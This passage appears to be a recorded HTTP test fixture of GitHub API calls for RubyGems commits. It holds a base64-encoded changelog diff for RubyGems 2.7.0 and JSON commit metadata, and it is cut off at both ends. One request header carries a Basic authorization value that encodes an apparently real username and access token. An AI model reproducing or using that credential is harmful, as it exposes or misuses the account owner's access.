W5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI3MTA2YzhkNzA2ZDYzY2UwMTdjN2FmYjY5NjAzMmMyN2MwYTc4MWExIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzcxMDZjOGQ3MDZkNjNjZTAxN2M3YWZiNjk2MDMyYzI3YzBhNzgxYTEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNzEwNmM4ZDcwNmQ2M2NlMDE3YzdhZmI2OTYwMzJjMjdjMGE3ODFhMSJ9XSwic3RhdHMiOnsidG90YWwiOjE2MywiYWRkaXRpb25zIjoxNjMsImRlbGV0aW9ucyI6MH0sImZpbGVzIjpbeyJzaGEiOiJlZTBjN2Q4NDIyZTE2Y2Q1NGQwM2IzMmRiOWZlYjg0OTcyM2RjODc1IiwiZmlsZW5hbWUiOiJIaXN0b3J5LnR4dCIsInN0YXR1cyI6Im1vZGlmaWVkIiwiYWRkaXRpb25zIjoxNjMsImRlbGV0aW9ucyI6MCwiY2hhbmdlcyI6MTYzLCJibG9iX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL2JkZWZkMzlmZjBlOWNhNWRkM2ZiMjU5ZmZlNDBjZDZjOTM3OTIyMjcvSGlzdG9yeS50eHQiLCJyYXdfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3Jhdy9iZGVmZDM5ZmYwZTljYTVkZDNmYjI1OWZmZTQwY2Q2YzkzNzkyMjI3L0hpc3RvcnkudHh0IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy9IaXN0b3J5LnR4dD9yZWY9YmRlZmQzOWZmMGU5Y2E1ZGQzZmIyNTlmZmU0MGNkNmM5Mzc5MjIyNyIsInBhdGNoIjoiQEAgLTEsNSArMSwxNjggQEBcbiAjIGNvZGluZzogVVRGLThcbiBcbis9PT0gMi43LjBcbitcbitNYWpvciBlbmhhbmNlbWVudHM6XG4rXG4rKiBVcGRhdGUgdmVuZG9yZWQgYnVuZGxlci0xLjE1LjQuIFB1bGwgcmVxdWVzdCAjMjAwMSBieSBTSElCQVRBIEhpcm9zaGkuXG4rKiBVc2UgQnVuZGxlciBmb3IgR2VtLnVzZV9nZW1kZXBzLiBQdWxsIHJlcXVlc3QgIzE2NzQgYnkgU2FtdWVsIEdpZGRpbnMuXG4rKiBBZGQgY29tbWFuZCBgc2lnbmluYCB0byBgZ2VtYCBDTEkuIFB1bGwgcmVxdWVzdCAjMTk0NCBieSBTaGl2YSBCaHVzYWwuXG4rKiBBZGQgTG9nb3V0IGZlYXR1cmUgdG8gQ0xJLiBQdWxsIHJlcXVlc3QgIzE5MzggYnkgU2hpdmEgQmh1c2FsLlxuK1xuK01pbm9yIGVuaGFuY2VtZW50czpcbitcbisqIEFkZGVkIG1lc3NhZ2UgdG8gdW5pbnN0YWxsIGNvbW1hbmQgZm9yIGdlbSB0aGF0IGlzIG5vdCBpbnN0YWxsZWQuIFB1bGxcbisgIHJlcXVlc3QgIzE5NzkgYnkgYW5hbnQgYW5pbCBrb2x2YW5rYXIuXG4rKiBBZGQgLS10cnVzdC1wb2xpY3kgb3B0aW9uIHRvIHVucGFjayBjb21tYW5kLiBQdWxsIHJlcXVlc3QgIzE3MTggYnlcbisgIE5vYnV5b3NoaSBOYWthZGEuXG4rKiBTaG93IGRlZmF1bHQgZ2VtcyBmb3IgYWxsIHBsYXRmb3Jtcy4gUHVsbCByZXF1ZXN0ICMxNjg1IGJ5IEtvbnN0YW50aW5cbisgIFNoYWJhbm92LlxuKyogQWRkIFRyYXZpcyBhbmQgQXBwdmV5b3IgYnVpbGQgc3RhdHVzIHRvIFJFQURNRS4gUHVsbCByZXF1ZXN0ICMxOTE4IGJ5XG4rICBKdW4gQXJ1Z2EuXG4rKiBSZW1vdmUgd2FybmluZyBgbm8gZW1haWwgc3BlY2lmaWVkYCB3aGVuIG5vIGVtYWlsLiBQdWxsIHJlcXVlc3QgIzE2NzUgYnlcbisgIExlaWdoIE1jQ3VsbG9jaC5cbisqIEltcHJvdmUgLXJ1YnlnZW1zIHBlcmZvcm1hbmNlLiBQdWxsIHJlcXVlc3QgIzE4MDEgYnkgU2FtdWVsIEdpZGRpbnMuXG4rKiBJbXByb3ZlIHRoZSBwZXJmb3JtYW5jZSBvZiBLZXJuZWwjcmVxdWlyZS4gUHVsbCByZXF1ZXN0ICMxNjc4IGJ5IFNhbXVlbFxuKyAgR2lkZGlucy5cbisqIEltcHJvdmUgdXNlci1mYWNpbmcgbWVzc2FnZXMgYnkgY29uc2lzdGVudCBjYXNpbmcgb2YgUnVieS9SdWJ5R2Vtcy4gUHVsbFxuKyAgcmVxdWVzdCAjMTc3MSBieSBKb2huIExhYm92aXR6LlxuKyogSW1wcm92ZSBlcnJvciBtZXNzYWdlIHdoZW4gR2VtOjpSdW50aW1lUmVxdWlyZW1lbnROb3RNZXRFcnJvciBpcyByYWlzZWQuXG4rICBQdWxsIHJlcXVlc3QgIzE3ODkgYnkgTHVpcyBTYWdhc3R1bWUuXG4rKiBDb2RlIEltcHJvdmVtZW50OiBJbmhlcml0YW5jZSBjb3JyZWN0ZWQuIFB1bGwgcmVxdWVzdCAjMTk0MiBieSBTaGl2YVxuKyAgQmh1c2FsLlxuKyogW1NvdXJjZV0gQXV0b2xvYWQgZmlsZXV0aWxzLiBQdWxsIHJlcXVlc3QgIzE5MDYgYnkgU2FtdWVsIEdpZGRpbnMuXG4rKiBVc2UgSGFzaCNmZXRjaCBpbnN0ZWFkIG9mIGlmL2Vsc2UgaW4gR2VtOjpDb25maWdGaWxlLiBQdWxsIHJlcXVlc3QgIzE4MjRcbisgIGJ5IERhbmllbCBCZXJnZXIuXG4rKiBSZXF1aXJlIGRpZ2VzdCB3aGVuIGl0IGlzIHVzZWQuIFB1bGwgcmVxdWVzdCAjMjAwNiBieSBTYW11ZWwgR2lkZGlucy5cbisqIERvIG5vdCBpbmRleCB0aGUgZG9jIGZvbGRlciBpbiB0aGUgYHVwZGF0ZV9tYW5pZmVzdGAgdGFzay4gUHVsbCByZXF1ZXN0XG4rICAjMjAzMSBieSBDb2xieSBTd2FuZGFsZS5cbisqIERvbid0IHVzZSB0d28gcG9zdGZpeCBjb25kaXRpb25hbHMgb24gb25lIGxpbmUuIFB1bGwgcmVxdWVzdCAjMjAzOCBieVxuKyAgRWxsZW4gTWFyaWUgRGFzaC5cbisqIFtTYWZlWUFNTF0gQXZvaWQgd2FybmluZyB3aGVuIEdlbTo6RGVwcmVjYXRlLnNraXAgaXMgc2V0LiBQdWxsIHJlcXVlc3RcbisgICMyMDM0IGJ5IFNhbXVlbCBHaWRkaW5zLlxuKyogVXBkYXRlIGdlbSB5YW5rIGRlc2NyaXB0aW9uLiBQdWxsIHJlcXVlc3QgIzIwMDkgYnkgRGF2aWQgUmFkY2xpZmZlLlxuKyogRml4IGZvcm1hdHRpbmcgb2YgaW5zdGFsbGF0aW9uIGluc3RydWN0aW9ucyBpbiBSRUFETUUuIFB1bGwgcmVxdWVzdFxuKyAgIzIwMTggYnkgSm9yZGFuIERhbmZvcmQuXG4rKiBEbyBub3QgdXNlICNxdWlja19zcGVjIGludGVybmFsbHkuIFB1bGwgcmVxdWVzdCAjMTczMyBieSBKb24gTW9zcy5cbisqIFN3aXRjaCBmcm9tIGRvY3MgdG8gZ3VpZGVzIHJlZmVyZW5jZS4gUHVsbCByZXF1ZXN0ICMxODg2IGJ5IEpvbmF0aGFuXG4rICBDbGF1ZGl1cy5cbisqIEhhcHBpZXIgbWVzc2FnZSB3aGVuIGxhdGVzdCB2ZXJzaW9uIGlzIGFscmVhZHkgaW5zdGFsbGVkLiBQdWxsIHJlcXVlc3RcbisgICMxOTU2IGJ5IEphcmVkIEJlY2suXG4rKiBVcGRhdGUgc3BlY2lmaWNhdGlvbiByZWZlcmVuY2UgZG9jcy4gUHVsbCByZXF1ZXN0ICMxOTYwIGJ5IEdyZXkgQmFrZXIuXG4rKiBBbGxvdyBHZW0uZmluaXNoX3Jlc29sdmUgdG8gcmVzcGVjdCBhbHJlYWR5LWFjdGl2YXRlZCBzcGVjcy4gUHVsbFxuKyAgcmVxdWVzdCAjMTkxMCBieSBTYW11ZWwgR2lkZGlucy5cbisqIFVwZGF0ZSBjcnlwdG9ncmFwaHkgZm9yIEdlbTo6U2VjdXJpdHkuIFB1bGwgcmVxdWVzdCAjMTY5MSBieSBTeWx2YWluXG4rICBEYXViZXJ0LlxuKyogRG9uJ3Qgb3V0cHV0IG1rbWYubG9nIG1lc3NhZ2UgaWYgY29tcGlsYXRpb24gZGlkbid0IGZhaWwuIFB1bGwgcmVxdWVzdFxuKyAgIzE4MDggYnkgSmVyZW15IEV2YW5zLlxuKyogTWF0Y2hlc19mb3JfZ2xvYiAtIHJlbW92ZSByb290IHBhdGguIFB1bGwgcmVxdWVzdCAjMjAxMCBieSBhaG9yZWsuXG4rKiBHZW06OlJlc29sdmVyI3NlYXJjaF9mb3IgdXBkYXRlIGZvciByZWxpYWJsZSBzZWFyY2hpbmcvc29ydGluZy4gUHVsbFxuKyAgcmVxdWVzdCAjMTk5MyBieSBNU1AtR3JlZy5cbisqIEFsbG93IGxvY2FsIGluc3RhbGxzIHdpdGggdHJhbnNpdGl2ZSBwcmVyZWxlYXNlIHJlcXVpcmVtZW50cy4gUHVsbFxuKyAgcmVxdWVzdCAjMTk5MCBieSBTYW11ZWwgR2lkZGlucy5cbisqIFNtYWxsIHN0eWxlIGZpeGVzIHRvIEluc3RhbGxlciBTZXQuIFB1bGwgcmVxdWVzdCAjMTk4NSBieSBBcnRodXJcbisgIE1hcnppbmtvdnNraXkuXG4rKiBTZXR1cCBjbWQ6IEF2b2lkIHRlcm1pbmF0aW5nIG9wdGlvbiBzdHJpbmcgdy8gZG90LiBQdWxsIHJlcXVlc3QgIzE4MjUgYnlcbisgIE9sbGUgSm9uc3Nvbi5cbisqIFdhcm4gd2hlbiBubyBmaWxlcyBhcmUgc2V0LiBQdWxsIHJlcXVlc3QgIzE3NzMgYnkgQWlkYW4gQ295bGUuXG4rKiBFbnN1cmUgYHRvX3NwZWNgIGZhbGxzIGJhY2sgb24gcHJlcmVsZWFzZSBzcGVjcy4gUHVsbCByZXF1ZXN0ICMxNzU1IGJ5XG4rICBBbmRyw6kgQXJrby5cbisqIFtTcGVjaWZpY2F0aW9uXSBFdmFsIHNldHRpbmcgZGVmYXVsdCBhdHRyaWJ1dGVzIGluICNpbml0aWFsaXplLiBQdWxsXG4rICByZXF1ZXN0ICMxNzM5IGJ5IFNhbXVlbCBHaWRkaW5zLlxuKyogU29ydCBvcmRlcmluZyBvZiBzb3VyY2VzIGlzIHByZXNlcnZlZC4gUHVsbCByZXF1ZXN0ICMxNjMzIGJ5IE5hdGhhblxuKyAgTGFkZC5cbisqIFJldHJ5IHdpdGggOnByZXJlbGVhc2Ugd2hlbiBubyBzdWdnZXN0aW9ucyBhcmUgZm91bmQuIFB1bGwgcmVxdWVzdCAjMTY5NlxuKyAgYnkgQWRpdHlhIFByYWthc2guXG4rKiBbUmFrZWZpbGVdIFJ1biBgZ2l0IHN1Ym1vZHVsZSB1cGRhdGUgLS1pbml0YCBpbiBgcmFrZSBuZXdiYC4gUHVsbFxuKyAgcmVxdWVzdCAjMTY5NCBieSBTYW11ZWwgR2lkZGlucy5cbisqIFtUZXN0Q2FzZV0gQWRkcmVzcyBjb21tZW50cyBhcm91bmQgdWkgY2hhbmdlcy4gUHVsbCByZXF1ZXN0ICMxNjc3IGJ5XG4rICBTYW11ZWwgR2lkZGlucy5cbisqIEVhZ2VybHkgcmVzb2x2ZSBpbiBhY3RpdmF0ZV9iaW5fcGF0aC4gUHVsbCByZXF1ZXN0ICMxNjY2IGJ5IFNhbXVlbFxuKyAgR2lkZGlucy5cbisqIFtWZXJzaW9uXSBNYWtlIGhhc2ggYmFzZWQgdXBvbiBjYW5vbmljYWwgc2VnbWVudHMuIFB1bGwgcmVxdWVzdCAjMTY1OSBieVxuKyAgU2FtdWVsIEdpZGRpbnMuXG4rXG4rQ29tcGF0aWJpbGl0eSBjaGFuZ2VzOlxuK1xuKyogdWJ5Z2Vtcy5yYiBpcyB1bmF2YWlsYWJsZSBvbiBSdWJ5IDIuNS4gUHVsbCByZXF1ZXN0ICMyMDI4ICMyMDI3ICMyMDI5XG4rICBieSBTSElCQVRBIEhpcm9zaGkuXG4rKiBEZXByZWNhdGUgR2VtOjpJbnN0YWxsZXJUZXN0Q2FzZSN1dGlsX2dlbV9iaW5kaXIgYW5kXG4rICBHZW06Okluc3RhbGxlclRlc3RDYXNlI3V0aWxfZ2VtX2Rpci4gUHVsbCByZXF1ZXN0ICMxNzI5IGJ5IEpvbiBNb3NzLlxuKyogRGVwcmVjYXRlIHBhc3Npbmcgb3B0aW9ucyB0byBHZW06OkdlbVJ1bm5lci4gUHVsbCByZXF1ZXN0ICMxNzMwIGJ5IEpvblxuKyAgTW9zcy5cbisqIEFkZCBkZXByZWNhdGlvbiBmb3IgR2VtI2RhdGFkaXIuIFB1bGwgcmVxdWVzdCAjMTczMiBieSBKb24gTW9zcy5cbisqIEFkZCBkZXByZWNhdGlvbiB3YXJuaW5nIGZvciBHZW06OkRlcGVuZGVuY3lJbnN0YWxsZXIjZ2Vtc190b19pbnN0YWxsLlxuKyAgUHVsbCByZXF1ZXN0ICMxNzMxIGJ5IEpvbiBNb3NzLlxuKyogVXBkYXRlIENvZGUgb2YgQ29uZHVjdCB0byBDb250cmlidXRvciBDb3ZlbmFudCB2MS40LjAuIFB1bGwgcmVxdWVzdFxuKyAgIzE3OTYgYnkgTWF0ZWouXG4rKiBBZGQgUnVieSBUb2dldGhlciBDVEEsIHJlYXJyYW5nZSBSRUFETUUgYSBiaXQuIFB1bGwgcmVxdWVzdCAjMTc3NSBieVxuKyAgTWljaGFlbCBCZXJuc3RlaW4uXG4rKiBVcGRhdGUgQ29udHJpYnV0aW5nLnJkb2Mgd2l0aCBuZXcgbGFiZWwgdXNhZ2UuIFB1bGwgcmVxdWVzdCAjMTcxNiBieVxuKyAgTHlubiBDeXJpbi5cbisqIEFkZCAtLWhvc3Qgc2FtcGxlIHRvIGhlbHAuIFB1bGwgcmVxdWVzdCAjMTcwOSBieSBDb2RlIEFoc3MuXG4rKiBBZGQgYSBoZWxwZnVsIHN1Z2dlc3Rpb24gd2hlbiBgZ2VtIGluc3RhbGxgIGZhaWxzIGR1ZSB0byByZXF1aXJlZF9ydWLigKYuXG4rICBQdWxsIHJlcXVlc3QgIzE2OTcgYnkgU2FtdWVsIEdpZGRpbnMuXG4rKiBBZGQgY2VydCBleHBpcmF0aW9uIGxlbmd0aCBmbGFnLiBQdWxsIHJlcXVlc3QgIzE3MjUgYnkgTHVpcyBTYWdhc3R1bWUuXG4rKiBBZGQgc3VibW9kdWxlIGluc3RydWN0aW9ucyB0byBtYW51YWwgaW5zdGFsbC4gUHVsbCByZXF1ZXN0ICMxNzI3IGJ5XG4rICBKb3NlcGggRnJhemllci5cbisqIEFsbG93IHVzYWdlIG9mIG11bHRpcGxlIGAtLXZlcnNpb25gIG9wZXJhdG9ycy4gUHVsbCByZXF1ZXN0ICMxNTQ2IGJ5XG4rICBKYW1lcyBXZW4uXG4rKiBXYXJuIHdoZW4gcmVxdWlyaW5nIGRlcHJlY2F0ZWQgZmlsZXMuIFB1bGwgcmVxdWVzdCAjMTkzOSBieSBFbGxlbiBNYXJpZVxuKyAgRGFzaC5cbitcbitCdWcgZml4ZXM6XG4rXG4rKiBGaXggaXNzdWUgZm9yIE1pbkdXIC8gTVNZUzIgYnVpbGRzIGFuZCB0ZXN0aW5nLiBQdWxsIHJlcXVlc3QgIzE4NzYgYnlcbisgIE1TUC1HcmVnLlxuKyogRml4ZWQgYnJva2VuIGxpbmtzIGFuZCBvdmVyemVhbG91cyBVUkwgZW5jb2RpbmcgaW4gZ2VtIHNlcnZlci4gUHVsbFxuKyAgcmVxdWVzdCAjMTgwOSBieSBOaWNvbGUgT3JjaGFyZC5cbisqIEZpeCBhIHR5cG8uIFB1bGwgcmVxdWVzdCAjMTcyMiBieSBLb2ljaGkgSVRPLlxuKyogRml4IGVycm9yIG1lc3NhZ2UgR2VtOjpTZWN1cml0eTo6UG9saWN5LiBQdWxsIHJlcXVlc3QgIzE3MjQgYnkgTm9idXlvc2hpXG4rICBOYWthZGEuXG4rKiBGaXhpbmcgbGlua3MgbWFya2Rvd24gZm9ybWF0dGluZyBpbiBSRUFETUUuIFB1bGwgcmVxdWVzdCAjMTc5MSBieSBQaW90clxuKyAgS3Vjenluc2tpLlxuKyogRml4IGZhaWxpbmcgQnVuZGxlciAxLjguNyBDSSBidWlsZHMuIFB1bGwgcmVxdWVzdCAjMTgyMCBieSBTYW11ZWxcbisgIEdpZGRpbnMuXG4rKiBGaXhlZCB0ZXN0IGJyb2tlbiBvbiBydWJ5LWhlYWQgLiBQdWxsIHJlcXVlc3QgIzE4NDIgYnkgU0hJQkFUQSBIaXJvc2hpLlxuKyogRml4IHR5cG9zIHdpdGggbWlzc3BlbGwuIFB1bGwgcmVxdWVzdCAjMTg0NiBieSBTSElCQVRBIEhpcm9zaGkuXG4rKiBGaXggZ2VtIG9wZW4gdG8gb3BlbiBoaWdoZXN0IHZlcnNpb24gbnVtYmVyIHJhdGhlciB0aGFuIGxvd2VzdC4gUHVsbFxuKyAgcmVxdWVzdCAjMTg3NyBieSBUaW0gUG9wZS5cbisqIEZpeCB0ZXN0X3NlbGZfZmluZF9maWxlc193aXRoX2dlbWZpbGUgdG8gc29ydCBleHBlY3RlZCBmaWxlcy4gUHVsbFxuKyAgcmVxdWVzdCAjMTg3OCBieSBLYXp1YWtpIE1hdHN1by5cbisqIEZpeCB0eXBvcyBpbiBDT05UUklCVVRJTkcucmRvYy4gUHVsbCByZXF1ZXN0ICMxOTA5IGJ5IE1hcmsgU2F5c29uLlxuKyogRml4IHNvbWUgc21hbGwgZG9jdW1lbnRhdGlvbiBpc3N1ZXMgaW4gaW5zdGFsbGVyLiBQdWxsIHJlcXVlc3QgIzE5NzIgYnlcbisgIENvbGJ5IFN3YW5kYWxlLlxuKyogRml4IGxpbmtzIGluIFBvbGljaWVzIGRvY3VtZW50LiBQdWxsIHJlcXVlc3QgIzE5NjQgYnkgQWx5c3NhIFJvc3MuXG4rKiBGaXggTm9NZXRob2RFcnJvciBvbiBidW5kbGVyL2lubGluZSBlbnZpcm9ubWVudC4gUHVsbCByZXF1ZXN0ICMyMDQyIGJ5XG4rICBTSElCQVRBIEhpcm9zaGkuXG4rKiBDb3JyZWN0IGNvbW1lbnRzIGZvciBHZW06Okluc3RhbGxlclRlc3RDYXNlI3NldHVwLiBQdWxsIHJlcXVlc3QgIzE3NDEgYnlcbisgIE1TUC1HcmVnLlxuKyogVXNlIEZpbGUuZXhwYW5kX3BhdGggZm9yIGNlcnRpZmljYXRpb24gYW5kIGtleSBsb2NhdGlvbi4gUHVsbCByZXF1ZXN0XG4rICAjMTk4NyBieSBTSElCQVRBIEhpcm9zaGkuXG4rKiBSZXNjdWUgRVJPRlMuIFB1bGwgcmVxdWVzdCAjMTQxNyBieSBOb2J1eW9zaGkgTmFrYWRhLlxuKyogRml4IHNwZWxsaW5nIG9mICd2dWxuZXJhYmlsaXR5Jy4gUHVsbCByZXF1ZXN0ICMyMDIyIGJ5IFBoaWxpcCBBcm5kdC5cbisqIEZpeCBtZXRhZGF0YSBsaW5rIGtleSBuYW1lcy4gUHVsbCByZXF1ZXN0ICMxODk2IGJ5IEFkaXR5YSBQcmFrYXNoLlxuKyogRml4IGEgdHlwbyBpbiB1bmluc3RhbGxfY29tbWFuZC5yYi4gUHVsbCByZXF1ZXN0ICMxOTM0IGJ5IFlhc3VoaXJvXG4rICBIb3JpbW90by5cbisqIEdlbTo6UmVxdWlyZW1lbnQuY3JlYXRlIHRyZWF0IGFyZ3VtZW50cyBhcyB2YXJpYWJsZS1sZW5ndGguIFB1bGwgcmVxdWVzdFxuKyAgIzE4MzAgYnkgVG9ydSBZQUdJLlxuKyogRGlzcGxheSBhbiBleHBsYW5hdGlvbiB3aGVuIHJha2UgZW5jb3VudGVycyBhbiBvbnRvbG9naWNhbCBwcm9ibGVtLiBQdWxsXG4rICByZXF1ZXN0ICMxOTgyIGJ5IFdpbHNvbiBCaWxrb3ZpY2guXG4rKiBbU2VydmVyXSBIYW5kbGUgZ2VtcyB3aXRoIG5hbWVzIGVuZGluZyBpbiBgLVxcZGAuIFB1bGwgcmVxdWVzdCAjMTkyNiBieVxuKyAgU2FtdWVsIEdpZGRpbnMuXG4rKiBbSW5zdGFsbGVyU2V0XSBBdm9pZCByZWxvYWRpbmcgX2FsbF8gbG9jYWwgZ2VtcyBtdWx0aXBsZSB0aW1lcyBkdXJpbmdcbisgIGRlcGVuZGVuY3kgcmVzb2x1dGlvbi4gUHVsbCByZXF1ZXN0ICMxOTI1IGJ5IFNhbXVlbCBHaWRkaW5zLlxuKyogTW9kaWZ5IHRoZSByZXR1cm4gdmFsdWUgb2YgR2VtOjpWZXJzaW9uLmNvcnJlY3Q/LiBQdWxsIHJlcXVlc3QgIzE5MTYgYnlcbisgIFRzdWt1cnUgVGFuaW1pY2hpLlxuKyogVmFsaWRhdGUgbWV0YWRhdGEgbGluayBrZXlzLiBQdWxsIHJlcXVlc3QgIzE4MzQgYnkgQWRpdHlhIFByYWthc2guXG4rKiBBZGQgY2hhbmdlbG9nIHRvIG1ldGFkYXRhIHZhbGlkYXRpb24uIFB1bGwgcmVxdWVzdCAjMTg4NSBieSBBZGl0eWFcbisgIFByYWthc2guXG4rKiBSZXBsYWNlIHNvY2tldCBlcnJvciB0ZXh0IG1lc3NhZ2UuIFB1bGwgcmVxdWVzdCAjMTgyMyBieSBEYW5pZWwgQmVyZ2VyLlxuKyogUmFpc2UgZXJyb3IgaWYgdGhlIGVtYWlsIGlzIGludmFsaWQgd2hlbiBidWlsZGluZyBjZXJ0LiBQdWxsIHJlcXVlc3RcbisgICMxNzc5IGJ5IEx1aXMgU2FnYXN0dW1lLlxuKyogW1N0dWJTcGVjaWZpY2F0aW9uXSBEb27igJl0IGl0ZXJhdGUgdGhyb3VnaCBhbGwgbG9hZGVkIHNwZWNzIGluICN0b19zcGVjLlxuKyAgUHVsbCByZXF1ZXN0ICMxNzM4IGJ5IFNhbXVlbCBHaWRkaW5zLlxuK1xuID09PSAyLjYuMTQgLyAyMDE3LTEwLTA5XG4gXG4gU2VjdXJpdHkgZml4ZXM6In1dfQ== http_version: recorded_at: Sat, 06 Jan 2018 15:00:02 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/7106c8d706d63ce017c7afb696032c27c0a781a1 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:02 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4458' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"de087888816186a0c8a01fcb21b03ad6" Last-Modified: - Wed, 25 Oct 2017 20:28:12 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.068380' X-Github-Request-Id: - C56A:4D94:4F0039:B30364:5A50E472 body: encoding: ASCII-8BIT string: '{"sha":"7106c8d706d63ce017c7afb696032c27c0a781a1","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-25T20:28:12Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-25T20:28:12Z"},"message":"Auto merge of #2034 - rubygems:seg-no-warning-deprecate-skip, r=olleolleolle\n\n[SafeYAML] Avoid warning when Gem::Deprecate.skip is set\n\n# Description:\n\nThis will allow Bundler to suppress the warnings, so we can get the tests passing again\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"2c7064181e4186d024c67fdb463689cda9dbb7a8","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2c7064181e4186d024c67fdb463689cda9dbb7a8"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7106c8d706d63ce017c7afb696032c27c0a781a1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7106c8d706d63ce017c7afb696032c27c0a781a1","html_url":"https://github.com/rubygems/rubygems/commit/7106c8d706d63ce017c7afb696032c27c0a781a1","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7106c8d706d63ce017c7afb696032c27c0a781a1/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"2b4a11377cc2e70df7a990eaedc6989849e7bd25","url":"https://api.github.com/repos/rubygems/rubygems/commits/2b4a11377cc2e70df7a990eaedc6989849e7bd25","html_url":"https://github.com/rubygems/rubygems/commit/2b4a11377cc2e70df7a990eaedc6989849e7bd25"},{"sha":"b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","url":"https://api.github.com/repos/rubygems/rubygems/commits/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","html_url":"https://github.com/rubygems/rubygems/commit/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5"}],"stats":{"total":5,"additions":4,"deletions":1},"files":[{"sha":"789bb5e25af3fe412ddfb2d973165f88300c2547","filename":"lib/r